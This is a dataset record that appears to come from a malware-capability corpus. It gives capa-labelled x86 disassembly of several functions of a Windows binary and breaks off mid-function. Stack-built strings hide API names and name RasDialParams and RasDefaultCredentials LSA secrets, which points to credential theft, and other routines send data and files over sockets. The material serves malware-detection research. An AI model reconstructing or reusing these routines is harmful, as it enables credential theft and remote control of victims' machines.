joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405152
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x419a34
call fcn.004196c0
sub esp, 0x34
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
mov dword [esi], 0x403310
mov dword [ebp - 4], 3
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x2d], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 0x40], 0x57
push eax
push 0x4013b0
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], 0x69
mov byte [ebp - 0x3d], 0x74
mov byte [ebp - 0x3c], 0x46
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x53
mov byte [ebp - 0x38], 0x69
mov byte [ebp - 0x37], 0x6e
mov byte [ebp - 0x36], 0x67
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x4f
mov byte [ebp - 0x32], 0x62
mov byte [ebp - 0x31], 0x6a
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
and byte [esi + 0xb5], 0
push 0xffffffffffffffff
push dword [esi + 0xa4]
call eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
cmp dword [esi + 0xa8], 0xffffffff
je 0x405217
mov ecx, esi
call fcn.00405ceb
and byte [ebp - 0x21], 0
lea eax, [ebp - 0x2c]
push eax
push 0x4013b0
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
call edi
push eax
call ebx
and byte [ebp - 0x16], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 0x20], 0x57
push eax
push 0x4014b4
mov byte [ebp - 0x1f], 0x53
mov byte [ebp - 0x1e], 0x41
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x75
mov byte [ebp - 0x17], 0x70
call edi
push eax
call ebx
push dword [esi + 0xa4]
mov ebx, eax
call dword [ebp - 0x10]
push dword [esi + 0xac]
call dword [ebp - 0x10]
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call edi
call ebx
push 0
call edi
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.00404bc4
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.00404bc4
and byte [ebp - 4], 0
lea ecx, [esi + 0x2c]
call fcn.00404bc4
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 4]
call fcn.00404bc4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x405a34
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 1], 0
lea eax, [ebp - 0x14]
push eax
push 0x4013b0
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x4f
mov byte [ebp - 6], 0x62
mov byte [ebp - 5], 0x6a
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x63
mov byte [ebp - 2], 0x74
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xffffffffffffffff
push dword [esi + 0xac]
call eax
pop esi
leave
ret

Function at 0x405ceb
Capabilities:
Contain obfuscated stackstrings
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4014cc
mov esi, ecx
push 0x4013b0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 0xc], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
and word [ebp - 2], 0
lea eax, [ebp - 4]
push 4
push eax
push 0x80
push 0xffff
push dword [esi + 0xa8]
mov word [ebp - 4], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
and byte [ebp - 0x19], 0
lea eax, [ebp - 0x2c]
push eax
push 0x4013b0
mov byte [ebp - 0x2c], 0x49
mov byte [ebp - 0x2b], 0x6e
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x45
mov byte [ebp - 0x20], 0x78
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x68
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x67
mov byte [ebp - 0x1a], 0x65
call edi
push eax
call ebx
and byte [ebp - 0x10], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x43
push eax
push 0x4013b0
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x6f
call edi
push eax
call ebx
push dword [esi + 0xa8]
call eax
lea eax, [esi + 0xb5]
push 0
push eax
call dword [ebp - 8]
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
mov eax, 0xffffffff
nop
nop
push dword [esi + 0xac]
call dword [ebp - 0xc]
or dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405f8d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and byte [ebp - 0xf], 0
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
push eax
mov ebx, ecx
push 0x4013b0
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x70
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
mov dword [ebp - 0xc], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [ebp + 0x10]
mov dword [ebp + 8], eax
jb 0x406028
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x40600c
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x405ff1
cmp dword [ebp - 8], 0xf
je 0x40606a
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
push 0xa
call dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x405fed
mov eax, 1
mov eax, 0xffffffff
nop
nop
cmp dword [ebp + 8], 0
jle 0x406062
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x406059
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x40603e
cmp dword [ebp + 0x10], 0xf
je 0x40606a
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x40606d
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4067e4
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x4013c0
mov ebx, ecx
push 0x4013b0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
cmp dword [ebx + 0x14], 0
mov dword [ebp - 0x14], eax
mov eax, pe_nt_image_headers32
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
je 0x406867
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x114]
push eax
push dword [ebx + 0x14]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x406867
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x40686b
xor eax, eax
jmp 0x406894
push 0x401510
call esi
mov esi, eax
push 0x4014f8
push esi
call edi
test eax, eax
je 0x40688d
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x114]
push ecx
call eax
push esi
call dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406aba
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
and byte [ebp - 0x1e], 0
push esi
push edi
mov dword [ebp - 0x54], ecx
mov byte [ebp - 0x30], 0x52
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x44
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x50
mov byte [ebp - 0x28], 0x61
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6d
mov byte [ebp - 0x24], 0x73
mov byte [ebp - 0x23], 0x21
mov byte [ebp - 0x22], 0x25
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x23
mov byte [ebp - 0x1f], 0x30
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x32], 0
and byte [ebp - 0xf], 0
lea eax, [ebp - 0x1c]
push eax
push 0x401520
mov byte [ebp - 0x4c], 0x4c
mov byte [ebp - 0x4b], 0x24
mov byte [ebp - 0x4a], 0x5f
mov byte [ebp - 0x49], 0x52
mov byte [ebp - 0x48], 0x61
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x44
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], 0x66
mov byte [ebp - 0x43], 0x61
mov byte [ebp - 0x42], 0x75
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x74
mov byte [ebp - 0x3f], 0x43
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x6e
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x69
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x73
mov byte [ebp - 0x34], 0x23
mov byte [ebp - 0x33], 0x30
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x46
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x4d
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x79
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x50], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov byte [ebp - 0xc], 0x77
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x74
and byte [ebp - 3], 0
lea eax, [ebp - 0xc]
push eax
push 0x4014e0
mov byte [ebp - 5], 0x66
mov byte [ebp - 4], 0x41
call esi
push eax
call edi
mov edi, dword [ebp - 0x54]
mov esi, eax
mov ecx, edi
call fcn.004067e4
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x154]
push eax
call esi
add esp, 0xc
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x154]
mov ecx, edi
push eax
call fcn.00406905
mov esi, eax
test esi, esi
je 0x406c74
mov ax, word [esi]
mov ecx, edi
push eax
push dword [esi + 4]
call fcn.0040697b
push dword [esi + 4]
call dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
mov ecx, edi
push eax
call fcn.00406905
mov esi, eax
test esi, esi
je 0x406c99
mov ax, word [esi]
mov ecx, edi
push eax
push dword [esi + 4]
call fcn.0040697b
push dword [esi + 4]
call dword [ebp - 0x50]
pop edi
pop esi
leave
ret
Function at 0x408766
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x4013b0
push 0x4014ec
mov dword [ebp - 8], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x40157c
push ebx
mov dword [ebp - 0x10], eax
call esi
push eax
call edi
mov dword [ebp - 0x14], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov eax, dword [ebp - 8]
push 0x104
add eax, 0x20
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 8]
push dword [ebp + 8]
add eax, 0x20
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0x15], 0
lea eax, [ebp - 0x20]
push eax
push ebx
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x46
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x41
call esi
push eax
call edi
push 0
push 0x80
push 3
push 0
push 1
push bind
push dword [ebp + 8]
call eax
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
jne 0x40883c
xor eax, eax
jmp 0x4088ed
and byte [ebp - 0x21], 0
lea eax, [ebp - 0x2c]
push eax
push ebx
mov byte [ebp - 0x2c], 0x47
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x46
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x53
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x7a
mov byte [ebp - 0x22], 0x65
call esi
push eax
call edi
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0xc]
call eax
push dword [ebp - 0xc]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov eax, 0xffffffff
nop
nop
push dword [ebp + 8]
call dword [ebp - 0x10]
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [ebp - 0x14]
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
mov dword [esi + 5], ebx
push dword [ebp + 8]
mov dword [esi + 1], eax
call dword [ebp - 0x10]
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 8]
add esp, 0xc
push edi
push esi
call fcn.0040cd61
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4088f4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x4013b0
push 0x40157c
mov dword [ebp - 8], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0xffffffff
jne 0x408943
mov ecx, dword [ebp - 8]
call fcn.00408ac2
xor eax, eax
jmp 0x408abb
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0x1d], 0
lea eax, [ebp - 0x28]
push eax
push ebx
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x46
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x41
call esi
push eax
call edi
mov ecx, dword [ebp - 8]
push 0
push 0x80
push 3
push 0
push 1
add ecx, 0x20
push bind
push ecx
call eax
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
jne 0x4089b3
or eax, eax
jmp 0x408abb
and byte [ebp - 0x2a], 0
lea eax, [ebp - 0x38]
push eax
push ebx
mov byte [ebp - 0x38], 0x53
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x46
mov byte [ebp - 0x34], 0x69
mov byte [ebp - 0x33], 0x6c
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x50
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x74
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x72
call esi
push eax
call edi
mov ecx, dword [ebp + 8]
push 0
push ecx
push dword [ecx + 4]
push dword [ebp - 0xc]
call eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
and dword [ebp - 4], 0
push 0x2000
push 0x40
call dword [ebp - 0x10]
push 8
mov dword [ebp - 0x10], eax
push dword [ebp + 8]
mov byte [eax], 0x6a
inc eax
push eax
call sub.MSVCRT.dll_memcpy
and byte [ebp - 0x14], 0
add esp, 0xc
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x52
push eax
push ebx
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x65
call esi
push eax
call edi
mov esi, dword [ebp - 0x10]
lea ecx, [ebp - 4]
push 0
push ecx
lea ecx, [esi + 9]
push 0x1ff7
push ecx
push dword [ebp - 0xc]
call eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x408aa9
mov ecx, dword [ebp - 8]
add eax, 9
push eax
push esi
call fcn.0040cd61
mov dword [ebp + 8], eax
jmp 0x408ab1
mov ecx, dword [ebp - 8]
call fcn.00408ac2
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x408e83
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push ebx
push esi
mov esi, ecx
push edi
push 0x104
push 0
lea edi, [esi + 0x20]
push edi
call sub.MSVCRT.dll_memset
mov ebx, dword [ebp + 8]
lea eax, [ebx + 8]
push eax
push edi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov eax, dword [ebx + 4]
push edi
mov dword [esi + 0x128], eax
and dword [esi + 0x12c], 0
mov ecx, esi
call fcn.00407951
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0xe], 0
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x46
push eax
push 0x4013b0
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x41
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x15c]
push ecx
push edi
call eax
mov edi, eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
cmp edi, 0xffffffff
je 0x408f6f
mov eax, dword [esi + 0x1c]
cmp eax, 4
je 0x408f6f
cmp eax, 2
je 0x408f6f
cmp eax, 6
je 0x408f6f
push 0x6d
mov ecx, esi
call fcn.00408b05
jmp 0x408f76
mov ecx, esi
call fcn.00408fba
and byte [ebp - 3], 0
lea eax, [ebp - 0xc]
push eax
push 0x4013b0
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x43
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x65
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4091d0
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov eax, dword [esi + 4]
mov dword [ebp - 4], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x1d], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x43
push eax
push 0x4013b0
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x46
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x41
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ecx, dword [ebp - 0x10]
push 0
push 0x80
push 3
push 0
push 2
add ecx, 0x20
push 0x40000000
push ecx
call eax
and byte [ebp - 0x2a], 0
mov dword [ebp + 8], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 0x38], 0x53
push eax
push 0x4013b0
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x46
mov byte [ebp - 0x34], 0x69
mov byte [ebp - 0x33], 0x6c
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x50
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x74
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x72
call edi
push eax
call ebx
mov ecx, eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call ecx
lea eax, [ebp - 0xc]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
push 4
add dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1b]
push eax
mov byte [ebp - 0x1c], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp - 0x17]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x10]
add esp, 0x18
lea eax, [ebp - 0x1c]
push 9
push eax
call fcn.0040cd61
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40937b
Capabilities:
Move file

Disassembly:
push esi
push edi
push 0x4014ec
mov edi, ecx
push 0x4013b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.MSVCRT.dll_rename]
pop ecx
pop ecx
push 0x71
mov ecx, edi
call fcn.00408b05
pop edi
pop esi
ret 4
Function at 0x40954d
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
push esi
push edi
mov eax, 1
mov eax, 0xffffffff
nop
nop
and dword [ebp - 4], 0
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x22], 0
lea eax, [ebp - 0x34]
mov ebx, 0x4013b0
push eax
push ebx
mov byte [ebp - 0x34], 0x47
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x4d
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], 0x75
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x46
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x4e
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6d
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x138]
push 0x104
push ecx
push dword [ebp + 8]
call eax
and byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push eax
push ebx
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x46
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x41
call esi
push eax
call edi
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push 1
lea ecx, [ebp - 0x138]
push bind
push ecx
call eax
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x40964d
xor eax, eax
jmp 0x409706
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x20]
push eax
push ebx
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x46
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x65
